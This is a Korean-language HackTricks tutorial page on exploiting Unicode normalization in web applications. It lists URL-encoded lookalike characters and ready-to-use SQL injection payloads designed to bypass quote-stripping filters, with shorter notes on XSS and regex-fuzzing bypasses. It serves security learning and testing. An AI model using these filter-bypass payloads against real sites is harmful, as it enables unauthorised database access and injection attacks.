10 KiB
유니코드 정규화
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team 전문가)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- 해킹 요령을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
이것은 다음의 요약입니다: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. 자세한 내용은 확인해보세요 (이미지는 해당 사이트에서 가져옴).
유니코드와 정규화 이해
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 프로세스입니다. 이 프로세스는 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 중요합니다. 유니코드 표준은 두 가지 문자 동등성을 정의합니다:
- 정규 동등성: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규적으로 동등하다고 간주됩니다.
- 호환 동등성: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 더 약한 형태의 동등성입니다.
네 가지 유니코드 정규화 알고리즘이 있습니다: NFC, NFD, NFKC 및 NFKD. 각 알고리즘은 정규 및 호환 정규화 기술을 다르게 적용합니다. 더 자세한 이해를 위해 이러한 기술을 Unicode.org에서 살펴볼 수 있습니다.
유니코드 인코딩의 주요 요점
특히 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 유니코드 인코딩을 이해하는 것이 중요합니다. 주요 요점은 다음과 같습니다:
- 코드 포인트 및 문자: 유니코드에서 각 문자나 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- 바이트 표현: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표시됩니다. 예를 들어, 영어권 국가에서 일반적인 LATIN-1 문자는 하나의 바이트를 사용하여 표시됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현에 더 많은 바이트가 필요합니다.
- 인코딩: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 의미합니다. UTF-8은 ASCII 문자를 하나의 바이트로 표현하며, 다른 문자에는 최대 네 바이트까지 사용됩니다.
- 데이터 처리: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 알아야 합니다.
- UTF의 변형: UTF-8 외에도 UTF-16(최소 2바이트, 최대 4바이트 사용) 및 UTF-32(모든 문자에 4바이트 사용)와 같은 다른 인코딩 표준이 있습니다.
유니코드의 복잡성 및 다양한 인코딩 방법에서 발생할 수 있는 잠재적 문제를 효과적으로 처리하고 완화하기 위해 이러한 개념을 이해하는 것이 중요합니다.
두 개의 다른 바이트를 표현하는 유니코드를 정규화하는 예시:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
유니코드 등가 문자 목록은 여기에서 찾을 수 있습니다: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html 및 https://0xacb.com/normalization_table
발견
웹앱 내에서 에코되는 값이 발견된다면, **'KELVIN SIGN' (U+0212A)**을 보낼 수 있습니다. 이는 "K"로 정규화됩니다 ( %e2%84%aa
로 보낼 수 있습니다). "K"가 에코된다면, 어떤 종류의 유니코드 정규화가 수행 중입니다.
다른 예시: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
를 유니코드 후에는 Leonishan
이 됩니다.
취약한 예시
SQL Injection 필터 우회
사용자 입력을 사용하여 SQL 쿼리를 만들 때 문자 '
를 사용하는 웹 페이지를 상상해보십시오. 이 웹은 보안 조치로 사용자 입력에서 문자 **'
**의 모든 발생을 삭제하지만, 해당 삭제 후 및 쿼리 생성 전에 사용자 입력을 유니코드를 사용하여 정규화합니다.
그런 다음, 악의적인 사용자는 %ef%bc%87
와 같은 ' (0x27)
에 해당하는 다른 유니코드 문자를 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 SQLInjection 취약점이 나타납니다:
일부 흥미로운 유니코드 문자
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap 템플릿
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
XSS (크로스 사이트 스크립팅)
다음 문자 중 하나를 사용하여 웹앱을 속일 수 있고 XSS를 악용할 수 있습니다:
예를 들어, 제안된 첫 번째 유니코드 문자는 %e2%89%ae
또는 %u226e
로 보낼 수 있습니다.
Regex 퍼징
백엔드가 정규식으로 사용자 입력을 확인할 때, 입력이 정규식에 대해 정규화되지만 사용되는 곳에 대해 정규화되지 않을 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규식은 보낸 URL을 정규화하지만 그대로 액세스할 수 있습니다.
도구 recollapse은 백엔드를 퍼징하기 위해 입력의 변형을 생성할 수 있습니다. 자세한 정보는 github 및 이 포스트를 확인하세요.
참고 자료
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
WhiteIntel
WhiteIntel은 다크 웹을 통해 제공되는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 확인할 수 있는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 확인하고 무료로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!
HackTricks를 지원하는 다른 방법:
- HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구입하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.